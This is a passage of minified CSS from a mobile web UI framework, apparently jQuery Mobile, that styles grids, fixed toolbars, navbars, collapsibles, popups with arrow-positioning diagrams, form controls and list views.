stacked grid styles below 35em (560px) */ @media (max-width: 35em) { .ui-responsive > .ui-block-a, .ui-responsive > .ui-block-b, .ui-responsive > .ui-block-c, .ui-responsive > .ui-block-d, .ui-responsive > .ui-block-e { width: 100%; float: none; } } /* fixed page header & footer configuration */ .ui-header-fixed, .ui-footer-fixed { left: 0; right: 0; width: 100%; position: fixed; z-index: 1000; } .ui-header-fixed { top: -1px; padding-top: 1px; } .ui-header-fixed.ui-fixed-hidden { top: 0; padding-top: 0; } .ui-header-fixed .ui-btn-left, .ui-header-fixed .ui-btn-right { margin-top: 1px; } .ui-header-fixed.ui-fixed-hidden .ui-btn-left, .ui-header-fixed.ui-fixed-hidden .ui-btn-right { margin-top: 0; } .ui-footer-fixed { bottom: -1px; padding-bottom: 1px; } .ui-footer-fixed.ui-fixed-hidden { bottom: 0; padding-bottom: 0; } .ui-header-fullscreen, .ui-footer-fullscreen { filter: Alpha(Opacity=90); opacity: .9; } /* updatePagePadding() will update the padding to actual height of header and footer. */ .ui-page-header-fixed { padding-top: 2.8125em; } .ui-page-footer-fixed { padding-bottom: 2.8125em; } .ui-page-header-fullscreen > .ui-content, .ui-page-footer-fullscreen > .ui-content { padding: 0; } .ui-fixed-hidden { position: absolute; } /* Tap toggle: hide external fixed footer. See issue #6604 */ .ui-footer-fixed.ui-fixed-hidden { display: none; } .ui-page .ui-footer-fixed.ui-fixed-hidden { display: block } .ui-page-header-fullscreen .ui-fixed-hidden, .ui-page-footer-fullscreen .ui-fixed-hidden { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-header-fixed .ui-btn, .ui-footer-fixed .ui-btn { z-index: 10; } /* workarounds for other widgets */ .ui-android-2x-fixed .ui-li-has-thumb { -webkit-transform: translate3d(0,0,0); } .ui-navbar { max-width: 100%; } .ui-navbar ul:before, .ui-navbar ul:after { content: ""; display: table; } .ui-navbar ul:after { clear: both; } .ui-navbar ul { list-style: none; margin: 0; padding: 0; position: relative; display: block; border: 0; max-width: 100%; overflow: visible; } .ui-navbar li .ui-btn { font-size: 12.5px; display: block; margin: 0; border-right-width: 0; } .ui-header .ui-navbar li button.ui-btn, .ui-footer .ui-navbar li button.ui-btn { margin: 0; width: 100%; } .ui-navbar .ui-btn:focus { z-index: 1; } /* fixes gaps caused by subpixel problem */ .ui-navbar li:last-child .ui-btn { margin-right: -4px; } .ui-navbar li:last-child .ui-btn:after { margin-right: 4px; } .ui-content .ui-navbar li:last-child .ui-btn, .ui-content .ui-navbar .ui-grid-duo .ui-block-b .ui-btn { border-right-width: 1px; margin-right: 0; } .ui-content .ui-navbar li:last-child .ui-btn:after, .ui-content .ui-navbar .ui-grid-duo .ui-block-b .ui-btn:after { margin-right: 0; } .ui-navbar .ui-grid-duo .ui-block-a:last-child .ui-btn { border-right-width: 1px; margin-right: -1px; } .ui-navbar .ui-grid-duo .ui-block-a:last-child .ui-btn:after { margin-right: 1px; } .ui-navbar .ui-grid-duo .ui-btn { border-top-width: 0; } .ui-navbar .ui-grid-duo .ui-block-a:first-child .ui-btn, .ui-navbar .ui-grid-duo .ui-block-a:first-child + .ui-block-b .ui-btn { border-top-width: 1px; } .ui-header .ui-navbar .ui-btn, .ui-footer .ui-navbar .ui-btn { border-top-width: 0; border-bottom-width: 0; } .ui-header .ui-navbar .ui-grid-duo .ui-block-a:first-child .ui-btn, .ui-footer .ui-navbar .ui-grid-duo .ui-block-a:first-child .ui-btn, .ui-header .ui-navbar .ui-grid-duo .ui-block-a:first-child + .ui-block-b .ui-btn, .ui-footer .ui-navbar .ui-grid-duo .ui-block-a:first-child + .ui-block-b .ui-btn { border-top-width: 0; } .ui-header .ui-title ~ .ui-navbar .ui-btn, .ui-footer .ui-title ~ .ui-navbar .ui-btn, .ui-header .ui-navbar .ui-grid-duo .ui-btn, .ui-footer .ui-navbar .ui-grid-duo .ui-btn, .ui-header .ui-title ~ .ui-navbar .ui-grid-duo .ui-block-a:first-child .ui-btn, .ui-footer .ui-title ~ .ui-navbar .ui-grid-duo .ui-block-a:first-child .ui-btn, .ui-header .ui-title ~ .ui-navbar .ui-grid-duo .ui-block-a:first-child + .ui-block-b .ui-btn, .ui-footer .ui-title ~ .ui-navbar .ui-grid-duo .ui-block-a:first-child + .ui-block-b .ui-btn { border-top-width: 1px; } /* Hide the native input element */ .ui-input-btn input { position: absolute; top: 0; left: 0; width: 100%; height: 100%; padding: 0; border: 0; outline: 0; -webkit-border-radius: inherit; border-radius: inherit; -webkit-appearance: none; -moz-appearance: none; cursor: pointer; background: #fff; background: rgba(255,255,255,0); filter: Alpha(Opacity=0); opacity: .1; font-size: 1px; text-indent: -9999px; z-index: 2; } /* Fixes IE/WP filter alpha opacity bugs */ .ui-input-btn.ui-state-disabled input { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-collapsible { margin: 0 -1em; } .ui-collapsible-inset, .ui-collapsible-set { margin: .5em 0; } .ui-collapsible-heading { display: block; margin: 0; padding: 0; position: relative; } .ui-collapsible-heading .ui-btn { text-align: left; margin: 0; border-left-width: 0; border-right-width: 0; } .ui-collapsible-heading .ui-btn-icon-top, .ui-collapsible-heading .ui-btn-icon-bottom { text-align: center; } .ui-collapsible-inset .ui-collapsible-heading .ui-btn { border-right-width: 1px; border-left-width: 1px; } .ui-collapsible-collapsed + .ui-collapsible:not(.ui-collapsible-inset) > .ui-collapsible-heading .ui-btn { border-top-width: 0; } .ui-collapsible-set .ui-collapsible:not(.ui-collapsible-inset) .ui-collapsible-heading .ui-btn { border-top-width: 1px; } .ui-collapsible-heading-status { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-collapsible-content { display: block; margin: 0; padding: .5em 1em; } .ui-collapsible-themed-content .ui-collapsible-content { border-left-width: 0; border-right-width: 0; border-top-width: 0; border-bottom-width: 1px; border-style: solid; } .ui-collapsible-inset.ui-collapsible-themed-content .ui-collapsible-content { border-left-width: 1px; border-right-width: 1px; } .ui-collapsible-inset .ui-collapsible-content { margin: 0; } .ui-collapsible-content-collapsed { display: none; } .ui-collapsible-set > .ui-collapsible.ui-corner-all { -webkit-border-radius: 0; border-radius: 0; } .ui-collapsible-heading, .ui-collapsible-heading > .ui-btn { -webkit-border-radius: inherit; border-radius: inherit; } .ui-collapsible-set .ui-collapsible.ui-first-child { -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; } .ui-collapsible-content, .ui-collapsible-set .ui-collapsible.ui-last-child { -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; } .ui-collapsible-themed-content:not(.ui-collapsible-collapsed) > .ui-collapsible-heading { -webkit-border-bottom-right-radius: 0; border-bottom-right-radius: 0; -webkit-border-bottom-left-radius: 0; border-bottom-left-radius: 0; } .ui-collapsible-set .ui-collapsible { margin: -1px -1em 0; } .ui-collapsible-set .ui-collapsible-inset { margin: -1px 0 0; } .ui-collapsible-set .ui-collapsible.ui-first-child { margin-top: 0; } .ui-controlgroup, fieldset.ui-controlgroup { padding: 0; margin: .5em 0; } .ui-field-contain .ui-controlgroup, .ui-field-contain fieldset.ui-controlgroup { margin: 0; } .ui-mini .ui-controlgroup-label { font-size: 16px; } .ui-controlgroup.ui-mini .ui-btn-icon-notext, .ui-controlgroup .ui-mini.ui-btn-icon-notext { font-size: inherit; } .ui-controlgroup-controls .ui-btn, .ui-controlgroup-controls .ui-checkbox, .ui-controlgroup-controls .ui-radio, .ui-controlgroup-controls .ui-select { margin: 0; } .ui-controlgroup-controls .ui-btn:focus, .ui-controlgroup-controls .ui-btn.ui-focus { z-index: 1; } .ui-controlgroup-controls li { list-style: none; } .ui-controlgroup-horizontal .ui-controlgroup-controls { display: inline-block; vertical-align: middle; } .ui-controlgroup-horizontal .ui-controlgroup-controls:before, .ui-controlgroup-horizontal .ui-controlgroup-controls:after { content: ""; display: table; } .ui-controlgroup-horizontal .ui-controlgroup-controls:after { clear: both; } .ui-controlgroup-horizontal .ui-controlgroup-controls > .ui-btn, .ui-controlgroup-horizontal .ui-controlgroup-controls li > .ui-btn, .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-checkbox, .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-radio, .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-select { float: left; clear: none; } .ui-controlgroup-horizontal .ui-controlgroup-controls button.ui-btn, .ui-controlgroup-controls .ui-btn-icon-notext { width: auto; } .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-btn-icon-notext, .ui-controlgroup-horizontal .ui-controlgroup-controls button.ui-btn-icon-notext { width: 1.5em; } .ui-controlgroup-controls .ui-btn-icon-notext { height: auto; padding: .7em 1em; } .ui-controlgroup-vertical .ui-controlgroup-controls .ui-btn { border-bottom-width: 0; } .ui-controlgroup-vertical .ui-controlgroup-controls .ui-btn.ui-last-child { border-bottom-width: 1px; } .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-btn { border-right-width: 0; } .ui-controlgroup-horizontal .ui-controlgroup-controls .ui-btn.ui-last-child { border-right-width: 1px; } .ui-controlgroup-controls .ui-btn-corner-all, .ui-controlgroup-controls .ui-btn.ui-corner-all { -webkit-border-radius: 0; border-radius: 0; } .ui-controlgroup-controls, .ui-controlgroup-controls .ui-radio, .ui-controlgroup-controls .ui-checkbox, .ui-controlgroup-controls .ui-select, .ui-controlgroup-controls li { -webkit-border-radius: inherit; border-radius: inherit; } .ui-controlgroup-vertical .ui-btn.ui-first-child { -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; } .ui-controlgroup-vertical .ui-btn.ui-last-child { -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; } .ui-controlgroup-horizontal .ui-btn.ui-first-child { -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; } .ui-controlgroup-horizontal .ui-btn.ui-last-child { -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; } .ui-controlgroup-controls a.ui-shadow:not(:focus), .ui-controlgroup-controls button.ui-shadow:not(:focus), .ui-controlgroup-controls div.ui-shadow:not(.ui-focus) { -moz-box-shadow: none; -webkit-box-shadow: none; box-shadow: none; } /* Fixes legend not wrapping on IE10 */ .ui-controlgroup-label legend { max-width: 100%; } .ui-controlgroup-controls > label { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-dialog { background: none !important; /* this is to ensure that dialog theming does not apply (by default at least) on the page div */ } .ui-dialog-contain { width: 92.5%; max-width: 500px; margin: 10% auto 1em auto; padding: 0; position: relative; top: -1em; } .ui-dialog-contain > .ui-header, .ui-dialog-contain > .ui-content, .ui-dialog-contain > .ui-footer { display: block; position: relative; width: auto; margin: 0; } .ui-dialog-contain > .ui-header { overflow: hidden; z-index: 10; padding: 0; border-top-width: 0; } .ui-dialog-contain > .ui-footer { z-index: 10; padding: 0 1em; border-bottom-width: 0; } .ui-popup-open .ui-header-fixed, .ui-popup-open .ui-footer-fixed { position: absolute !important; /* See issues #4816, #4844 and #4874 and popup.js */ } .ui-popup-screen { background-image: url("data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw=="); /* Necessary to set some form of background to ensure element is clickable in IE6/7. While legacy IE won't understand the data-URI'd image, it ensures no additional requests occur in all other browsers with little overhead. */ top: 0; left: 0; right: 0; bottom: 1px; position: absolute; filter: Alpha(Opacity=0); opacity: 0; z-index: 1099; } .ui-popup-screen.in { opacity: 0.5; filter: Alpha(Opacity=50); } .ui-popup-screen.out { opacity: 0; filter: Alpha(Opacity=0); } .ui-popup-container { z-index: 1100; display: inline-block; position: absolute; padding: 0; outline: 0; } .ui-popup { position: relative; } .ui-popup.ui-body-inherit { border-width: 1px; border-style: solid; } .ui-popup-hidden { left: 0; top: 0; position: absolute !important; visibility: hidden; } .ui-popup-truncate { height: 1px; width: 1px; margin: -1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-popup.ui-content, .ui-popup .ui-content { overflow: visible; } .ui-popup > .ui-header { border-top-width: 0; } .ui-popup > .ui-footer { border-bottom-width: 0; } .ui-popup > p, .ui-popup > h1, .ui-popup > h2, .ui-popup > h3, .ui-popup > h4, .ui-popup > h5, .ui-popup > h6 { margin: .5em .4375em; } .ui-popup > span { display: block; margin: .5em .4375em; } .ui-popup-container .ui-content > p, .ui-popup-container .ui-content > h1, .ui-popup-container .ui-content > h2, .ui-popup-container .ui-content > h3, .ui-popup-container .ui-content > h4, .ui-popup-container .ui-content > h5, .ui-popup-container .ui-content > h6 { margin: .5em 0; } .ui-popup-container .ui-content > span { margin: 0; } .ui-popup-container .ui-content > p:first-child, .ui-popup-container .ui-content > h1:first-child, .ui-popup-container .ui-content > h2:first-child, .ui-popup-container .ui-content > h3:first-child, .ui-popup-container .ui-content > h4:first-child, .ui-popup-container .ui-content > h5:first-child, .ui-popup-container .ui-content > h6:first-child { margin-top: 0; } .ui-popup-container .ui-content > p:last-child, .ui-popup-container .ui-content > h1:last-child, .ui-popup-container .ui-content > h2:last-child, .ui-popup-container .ui-content > h3:last-child, .ui-popup-container .ui-content > h4:last-child, .ui-popup-container .ui-content > h5:last-child, .ui-popup-container .ui-content > h6:last-child { margin-bottom: 0; } .ui-popup > img { max-width: 100%; max-height: 100%; vertical-align: middle; } .ui-popup:not(.ui-content) > img:only-child, .ui-popup:not(.ui-content) > .ui-btn-left:first-child + img:last-child, .ui-popup:not(.ui-content) > .ui-btn-right:first-child + img:last-child { -webkit-border-radius: inherit; border-radius: inherit; } .ui-popup iframe { vertical-align: middle; } .ui-popup > .ui-btn-left, .ui-popup > .ui-btn-right { position: absolute; top: -11px; margin: 0; z-index: 1101; } .ui-popup > .ui-btn-left { left: -11px; } .ui-popup > .ui-btn-right { right: -11px; } /* Dimensions related to the popup arrow -----------------------------------------------------------------------------------------------------------*/ /* desired triangle height: 10px */ /** * guide for the arrow - its width, height, and offset are theme-dependent and * should be expessed as left, right, top, bottom, so that the element bearing * such a class becomes stretched inside its parent position: relative element. * The left/top/right/bottom specified below should reflect the corresponding * border radii and so it leaves room for the shadow: * ..--------------------.. * ." ^ top ". * / v \ * | +------------------+ | * | | | | * | left| |right| * |<--->| |<--->| * | +------------------+ | * \ ^ / * `. v bottom .' * ""--------------------"" * The idea is that the top/left of the arrow container box does not move to a * coordinate smaller than the top/left of the guide and the right/bottom of * the arrow container box does not move to a coordinate larger than the * bottom/right of the guide. This will help us avoid the following situation: * ..--------------------.. * ." ^ top ". * /|/ v \ * / | +------------------+ | * \ | | | | * \| left| |right| * |<--->| |<--->| * | +------------------+ | * \ ^ / * `. v bottom .' * ""--------------------"" * The arrow should not receive a top/left coordinate such that it is too close * to one of the corners, because then at first the shadow of the arrow and, * given a coordinate even closer to the corner, even the body of the arrow will * "stick out" of the corner of the popup. The guide provides a hint to the * arrow positioning code as to which range of values is acceptable for the * arrow container's top/left coordinate. **/ .ui-popup-arrow-container { width: 20px; height: 20px; } /* aside from the "infinities" (-1000,2000), triangle height is used */ .ui-popup-arrow-container.ui-popup-arrow-l { left: -10px; clip: rect(-1000px,10px,2000px,-1000px); } .ui-popup-arrow-container.ui-popup-arrow-t { top: -10px; clip: rect(-1000px,2000px,10px,-1000px); } .ui-popup-arrow-container.ui-popup-arrow-r { right: -10px; clip: rect(-1000px,2000px,2000px,10px); } .ui-popup-arrow-container.ui-popup-arrow-b { bottom: -10px; clip: rect(10px,2000px,1000px,-1000px); } /** * For each side, the arrow is twice the desired size and its corner is aligned * with the edge of the container: * * /\ /\ +----+ /\ * / \ / \ | /\ |top / \ * +----+ \ / +----+ +-->|/ \| / \ * left| / | \ / | \ |right | | | / \ * |/ | \ / | \| | /| |\ / \ * |\ | / \ | /| | / +----+ \ \ +----+ / * | \ | / \ | / | | \ / \| |/ * +----+ / \ +----+ | \ / | | * ^ \ / \ / ^ | \ / +->|\ /| * | \/ \/ | | \ / | | \/ |bottom * | | | \/ | +----+ * +-------------------+--------+-----------+ * | * arrow container * (clips arrow) **/ .ui-popup-arrow-container .ui-popup-arrow { /* (4*desired triangle height)/sqrt(2) - does not account for border - centred within the outer rectangle */ width: 28.284271247px; height: 28.284271247px; border-width: 1px; border-style: solid; } .ui-popup-arrow-container.ui-popup-arrow-t .ui-popup-arrow { left: -4.142135623px; top: 5.857864376px; } .ui-popup-arrow-container.ui-popup-arrow-b .ui-popup-arrow { left: -4.142135623px; top: -14.142135623px; } .ui-popup-arrow-container.ui-popup-arrow-l .ui-popup-arrow { left: 5.857864376px; top: -4.142135623px; } .ui-popup-arrow-container.ui-popup-arrow-r .ui-popup-arrow { left: -14.142135623px; top: -4.142135623px; } /* Fix rotation center for oldIE - see http://www.useragentman.com/IETransformsTranslator/ */ .ui-popup-arrow-container.ui-popup-arrow-t.ie .ui-popup-arrow { margin-left: -5.857864376269049px; margin-top: -7.0710678118654755px; } .ui-popup-arrow-container.ui-popup-arrow-b.ie .ui-popup-arrow { margin-left: -5.857864376269049px; margin-top: -4.142135623730951px; } .ui-popup-arrow-container.ui-popup-arrow-l.ie .ui-popup-arrow { margin-left: -7.0710678118654755px; margin-top: -5.857864376269049px; } .ui-popup-arrow-container.ui-popup-arrow-r.ie .ui-popup-arrow { margin-left: -4.142135623730951px; margin-top: -5.857864376269049px; } /* structure */ .ui-popup > .ui-popup-arrow-guide { position: absolute; left: 0; right: 0; top: 0; bottom: 0; visibility: hidden; } .ui-popup-arrow-container { position: absolute; } .ui-popup-arrow { -webkit-transform: rotate(45deg); -moz-transform: rotate(45deg); -ms-transform: rotate(45deg); transform: rotate(45deg); position: absolute; overflow: hidden; box-sizing: border-box; } .ui-popup-arrow-container.ie .ui-popup-arrow { -ms-filter: "progid:DXImageTransform.Microsoft.Matrix(M11=0.7071067811865474, M12=-0.7071067811865477, M21=0.7071067811865477, M22=0.7071067811865474, SizingMethod='auto expand')"; filter: progid:DXImageTransform.Microsoft.Matrix( M11=0.7071067811865474, M12=-0.7071067811865477, M21=0.7071067811865477, M22=0.7071067811865474, SizingMethod='auto expand'); } .ui-checkbox, .ui-radio { margin: .5em 0; position: relative; } .ui-checkbox .ui-btn, .ui-radio .ui-btn { margin: 0; text-align: left; white-space: normal; /* Nowrap + ellipsis doesn't work on label. Issue #1419. */ z-index: 2; } .ui-controlgroup .ui-checkbox .ui-btn.ui-focus, .ui-controlgroup .ui-radio .ui-btn.ui-focus { z-index: 3; } .ui-checkbox .ui-btn-icon-top, .ui-radio .ui-btn-icon-top, .ui-checkbox .ui-btn-icon-bottom, .ui-radio .ui-btn-icon-bottom { text-align: center; } .ui-controlgroup-horizontal .ui-checkbox .ui-btn:after, .ui-controlgroup-horizontal .ui-radio .ui-btn:after { content: none; display: none; } /* Native input positioning */ .ui-checkbox input, .ui-radio input { position: absolute; left: .466em; top: 50%; width: 22px; height: 22px; margin: -11px 0 0 0; outline: 0 !important; z-index: 1; } .ui-controlgroup-horizontal .ui-checkbox input, .ui-controlgroup-horizontal .ui-radio input { left: 50%; margin-left: -9px; } .ui-checkbox input:disabled, .ui-radio input:disabled { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-select { margin-top: .5em; margin-bottom: .5em; /* no shorthand for margin because it would override margin-right for inline selects */ position: relative; } .ui-select > select { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-select .ui-btn { margin: 0; opacity: 1; /* Fixes #2588: When Windows Phone 7.5 (Mango) tries to calculate a numeric opacity for a select (including "inherit") without explicitly specifying an opacity on the parent to give it context, a bug appears where clicking elsewhere on the page after opening the select will open the select again. */ } .ui-select .ui-btn select { position: absolute; top: 0; left: 0; width: 100%; min-height: 1.5em; min-height: 100%; height: 3em; max-height: 100%; outline: 0; -webkit-border-radius: inherit; border-radius: inherit; -webkit-appearance: none; -moz-appearance: none; cursor: pointer; filter: Alpha(Opacity=0); opacity: 0; z-index: 2; } @-moz-document url-prefix() { .ui-select .ui-btn select { opacity: 0.0001; } } /* Display none because of issues with IE/WP's filter alpha opacity */ .ui-select .ui-state-disabled select { display: none; } /* Because we add all classes of the select and option elements to the span... */ .ui-select span.ui-state-disabled { filter: Alpha(Opacity=100); opacity: 1; } .ui-select .ui-btn.ui-select-nativeonly { border-radius: 0; border: 0; } .ui-select .ui-btn.ui-select-nativeonly select { opacity: 1; text-indent: 0; display: block; } /* ui-li-count is styled in the listview CSS. We set padding and offset here because select supports icon position while listview doesn't. */ .ui-select .ui-li-has-count.ui-btn { padding-right: 2.8125em; } .ui-select .ui-li-has-count.ui-btn-icon-right { padding-right: 4.6875em; } .ui-select .ui-btn-icon-right .ui-li-count { right: 3.2em; } /* We set the rules for the span as well to fix an issue on Chrome with text-overflow ellipsis for the button in combination with text-align center. */ .ui-select .ui-btn > span:not(.ui-li-count) { display: block; text-overflow: ellipsis; overflow: hidden !important; white-space: nowrap; } .ui-selectmenu.ui-popup { min-width: 11em; } .ui-selectmenu .ui-dialog-contain { overflow: hidden; } .ui-selectmenu .ui-header { margin: 0; padding: 0; border-width: 0; } .ui-selectmenu.ui-dialog .ui-header { z-index: 1; position: relative; } .ui-selectmenu.ui-popup .ui-header { -webkit-border-bottom-right-radius: 0; border-bottom-right-radius: 0; -webkit-border-bottom-left-radius: 0; border-bottom-left-radius: 0; } /* when no placeholder is defined in a multiple select, the header height doesn't even extend past the close button. this shim's content in there */ .ui-selectmenu.ui-popup .ui-header h1:after { content: '.'; visibility: hidden; } .ui-selectmenu .ui-header .ui-title { margin: 0 2.875em; } .ui-selectmenu.ui-dialog .ui-content { overflow: visible; z-index: 1; } .ui-selectmenu .ui-selectmenu-list { margin: 0; -webkit-border-radius: inherit; border-radius: inherit; } .ui-header:not(.ui-screen-hidden) + .ui-selectmenu-list { -webkit-border-top-right-radius: 0; border-top-right-radius: 0; -webkit-border-top-left-radius: 0; border-top-left-radius: 0; } .ui-header.ui-screen-hidden + .ui-selectmenu-list li.ui-first-child .ui-btn { border-top-width: 0; } .ui-selectmenu .ui-selectmenu-list li.ui-last-child .ui-btn { border-bottom-width: 0; } .ui-selectmenu .ui-btn.ui-li-divider { cursor: default; } .ui-selectmenu .ui-selectmenu-placeholder { display: none; } .ui-listview, .ui-listview > li { margin: 0; padding: 0; list-style: none; } .ui-content .ui-listview, .ui-panel-inner > .ui-listview { margin: -1em; } .ui-content .ui-listview-inset, .ui-panel-inner > .ui-listview-inset { margin: 1em 0; } .ui-collapsible-content > .ui-listview { margin: -.5em -1em; } .ui-collapsible-content > .ui-listview-inset { margin: .5em 0; } .ui-listview > li { display: block; position: relative; overflow: visible; } .ui-listview > .ui-li-static, .ui-listview > .ui-li-divider, .ui-listview > li > a.ui-btn { margin: 0; display: block; position: relative; text-align: left; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; } .ui-listview > li > .ui-btn:focus { z-index: 1; } .ui-listview > .ui-li-static, .ui-listview > .ui-li-divider, .ui-listview > li > a.ui-btn { border-width: 1px 0 0 0; border-style: solid; } .ui-listview-inset > .ui-li-static, .ui-listview-inset > .ui-li-divider, .ui-listview-inset > li > a.ui-btn { border-right-width: 1px; border-left-width: 1px; } .ui-listview > .ui-li-static.ui-last-child, .ui-listview > .ui-li-divider.ui-last-child, .ui-listview > li.ui-last-child > a.ui-btn { border-bottom-width: 1px; } .ui-collapsible-content > .ui-listview:not(.ui-listview-inset) > li.ui-first-child, .ui-collapsible-content > .ui-listview:not(.ui-listview-inset) > li.ui-first-child > a.ui-btn { border-top-width: 0; } .ui-collapsible-themed-content .ui-listview:not(.ui-listview-inset) > li.ui-last-child, .ui-collapsible-themed-content .ui-listview:not(.ui-listview-inset) > li.ui-last-child > a.ui-btn { border-bottom-width: 0; } .ui-listview > li.ui-first-child, .ui-listview > li.ui-first-child > a.ui-btn { -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; } .ui-listview > li.ui-last-child, .ui-listview > li.ui-last-child > a.ui-btn { -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; } .ui-listview > li.ui-li-has-alt > a.ui-btn { -webkit-border-top-right-radius: 0; border-top-right-radius: 0; -webkit-border-bottom-right-radius: 0; border-bottom-right-radius: 0; } .ui-listview > li.ui-first-child > a.ui-btn + a.ui-btn { -webkit-border-top-left-radius: 0; border-top-left-radius: 0; -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; } .ui-listview > li.ui-last-child > a.ui-btn + a.ui-btn { -webkit-border-bottom-left-radius: 0; border-bottom-left-radius: 0; -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; } .ui-listview > li.ui-first-child img:first-child:not(.ui-li-icon) { -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; } .ui-listview > li.ui-last-child img:first-child:not(.ui-li-icon) { -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; } .ui-collapsible-content > .ui-listview:not(.ui-listview-inset) { -webkit-border-radius: inherit; border-radius: inherit; } .ui-listview > .ui-li-static { padding: .7em 1em; } .ui-listview > .ui-li-divider { padding: .5em 1.143em; font-size: 14px; font-weight: bold; cursor: default; outline: 0; /* Dividers in custom selectmenus have tabindex */ } .ui-listview > .ui-li-has-count > .ui-btn, .ui-listview > .ui-li-static.ui-li-has-count, .ui-listview > .ui-li-divider.ui-li-has-count { padding-right: 2.8125em; } .ui-listview > .ui-li-has-count > .ui-btn-icon-right { padding-right: 4.6875em; } .ui-listview > .ui-li-has-thumb > .ui-btn, .ui-listview > .ui-li-static.ui-li-has-thumb { min-height: 3.625em; padding-left: 6.25em; } /* ui-li-has-icon deprecated in 1.4. TODO: remove in 1.5 */ .ui-listview > .ui-li-has-icon > .ui-btn, .ui-listview > .ui-li-static.ui-li-has-icon { min-height: 1.25em; padding-left: 2.5em; } /* Used by both listview and custom multiple select button */ .ui-li-count { position: absolute; font-size: 12.5px; font-weight: bold; text-align: center; border-width: 1px; border-style: solid; padding: 0 .48em; line-height: 1.6em; min-height: 1.6em; min-width: .64em; right: .8em; top: 50%; margin-top: -.88em; } .ui-listview .ui-btn-icon-right .ui-li-count { right: 3.2em; } .ui-listview .ui-li-has-thumb > img:first-child, .ui-listview .ui-li-has-thumb > .ui-btn > img:first-child, .ui-listview .ui-li-has-thumb .ui-li-thumb { position: absolute; left: 0; top: 0; max-height: 5em; max-width: 5em; } /* ui-li-has-icon deprecated in 1.4. TODO: remove in 1.5 */ .ui-listview > .ui-li-has-icon > img:first-child, .ui-listview > .ui-li-has-icon > .ui-btn > img:first-child { position: absolute; left: .625em; top: .9em; max-height: 1em; max-width: 1em; } .ui-listview > li h1, .ui-listview > li h2, .ui-listview > li h3, .ui-listview > li h4, .ui-listview > li h5, .ui-listview > li h6 { font-size: 1em; font-weight: bold; display: block; margin: .45em 0; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; } .ui-listview > li p { font-size: .75em; font-weight: normal; display: block; margin: .6em 0; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; } .ui-listview .ui-li-aside { position: absolute; top: 1em; right: 3.333em; margin: 0; text-align: right; } .ui-listview > li.ui-li-has-alt > .ui-btn { margin-right: 2.5em; border-right-width: 0; } .ui-listview > li.ui-li-has-alt > .ui-btn + .ui-btn { position: absolute; width: 2.5em; height: 100%; min-height: auto; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; border-left-width: 1px; top: 0; right: 0; margin: 0; padding: 0; z-index: 2; } .ui-listview-inset > li.ui-li-has-alt > .ui-btn + .ui-btn { border-right-width: 1px; } .ui-listview > li.ui-li-has-alt > .ui-btn + .ui-btn:focus { z-index: 3; } ol.ui-listview, ol.ui-listview > .ui-li-divider { counter-reset: listnumbering; } ol.ui-listview > li > .ui-btn, ol.ui-listview > li.ui-li-static { vertical-align: middle; } ol.ui-listview > li > .ui-btn:first-child:before, ol.ui-listview > li.ui-li-static:before, ol.ui-listview > li.ui-field-contain > label:before, ol.ui-listview > li.ui-field-contain > .ui-controlgroup-label:before { display: inline-block; font-size: .9em; font-weight: normal; padding-right: .3em; min-width: 1.4em; line-height: 1.5; vertical-align: middle; counter-increment: listnumbering; content: counter(listnumbering) "."; } ol.ui-listview > li.ui-field-contain:before { content: none; display: none; } ol.ui-listview > li h1:first-child, ol.ui-listview > li h2:first-child, ol.ui-listview > li h3:first-child, ol.ui-listview > li h4:first-child, ol.ui-listview > li h5:first-child, ol.ui-listview > li h6:first-child, ol.ui-listview > li p:first-child, ol.ui-listview > li img:first-child + * { display: inline-block; vertical-align: middle; } ol.ui-listview > li h1:first-child ~ *, ol.ui-listview > li h2:first-child ~ *, ol.ui-listview > li h3:first-child ~ *, ol.ui-listview > li h4:first-child ~ *, ol.ui-listview > li h5:first-child ~ *, ol.ui-listview > li h6:first-child ~ *, ol.ui-listview > li p:first-child ~ *, ol.ui-listview > li img:first-child + * ~ * { margin-top: 0; text-indent: 2.04em; /* (1.4em + .3em) * .9em / .75em */ } html .ui-filterable + .ui-listview, html .ui-filterable.ui-listview { margin-top: .5em; } .ui-collapsible-content > form.ui-filterable { margin-top: -.5em; } .ui-collapsible-content > .ui-input-search.ui-filterable { margin-top: 0; } 